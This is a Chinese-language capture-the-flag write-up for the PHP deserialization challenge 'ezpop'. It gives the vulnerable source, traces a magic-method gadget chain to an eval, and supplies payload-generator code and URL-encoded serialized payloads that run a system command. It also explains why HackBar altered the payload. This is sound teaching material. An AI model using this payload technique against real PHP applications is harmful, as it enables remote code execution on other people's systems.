DAS2022.3 ezpop
一道出题人构造的PHP反序列化题。
正常解题
难度不大,主要讲一讲其他东西。
访问即看到源码:
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
mix::get_flag里的eval可以用【\n】绕过(“【<br>】不行;前者是真的换行,后者只是HTML里的换行),确定其为最终目标。
代码分析,明确调用链:
fin::__destruct----->what::__toString----->mix::run----->crow::__invoke----->fin::__call----->mix::get_flag
其中,invoke魔术方法之前见的较少;其在对象直接被当做方法执行时触发。mix::run里有个动态执行,即 把mix类对象的m1当做方法执行。所以只要控制m1是crow类,即可触发invoke。
用于生成payload的代码:
<?php
class crow
{
public $v1;
public $v2;
public function __construct($v1){
$this->v1=$v1;
}
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
echo "<br>crow::__invoke entered<br>";
$this->v1->world();
}
}
class fin
{
public $f1;
public function __construct($f1){
$this->f1=$f1;
}
public function __destruct()
{
echo "<br>fin::__destruct entered<br>";
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo "<br>fin::__call entered<br>";
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __construct($a){
$this->a=$a;
}
public function __toString()
{
echo "<br>what::__toString entered<br>";
$this->a->run();
return 'hello';
}
}
class mix
{
public function __construct($m1){
$this->m1=$m1;
}
public $m1;
public function run()
{
echo "<br>mix::__run entered<br>";
($this->m1)();
}
public function get_flag()
{
echo "<br>mix::__getflag entered<br>";
echo "<br>$this->m1<br>";
eval('#' . $this->m1);
}
public function __toString()
{
return "<br>safe<br>";
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
$r=serialize(new fin(new what(new mix(new crow(new fin(new mix("\nsystem('find |xargs grep \"flag\"');")))))));
echo "<br>".$r."<br>";
echo "<br>".urlencode($r)."<br>";
?>
主要的增加内容是很多测试语句(echo),很多构造函数和mix类的__toString方法。增加最后一个的原因是:fin对象在摧毁是会把它的f1属性当字符串数出来,而在我们的链中,那个东西是mix对象;如果mix类缺少toString方法,虽然RCE部分可以执行(已经执行过了),但后续输出payload的部分无法执行。会报错:
Object of class mix could not be converted to string in <b>/var/www/html/index.php
同时这也说明了,这个错是不影响RCE的。
交学费
事情进行到这里都很顺利;但在比赛里,payload传进去flag出不来,我一直以为是上面那个报错的问题,于是就G了。
后来调试才发现,是hackbar的问题!!!
由于生成的payload包含'\n'等字符,最好将其url编码后再传参(url编码是个好习惯)。之前的程序生成的payload是这样的:
O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A35%3A%22%0Asystem%28%27find+%7Cxargs+grep+%22flag%22%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D
使用burp,也可以成功getflag。
但使用hackbar就不行,拿burp抓hackbar的包分析,发现它对我们的payload做了一些修改
O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A35%3A%22%0D%0Asystem%28%27find%2B%7Cxargs%2Bgrep%2B%22flag%22%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D
首先,原本的空格在第一次url编码中变成了【+】,又经过hackbar,就变成了真的加号,这是导致payload无法使用的原因之一。
还有一个原因是,hackbar在【"\nsystem"】前面加了一个【%0D】。这个我就不理解了。
总之,以后涉及到这种传参,就直接用burp;hackbar就传点普通的get post参数得了。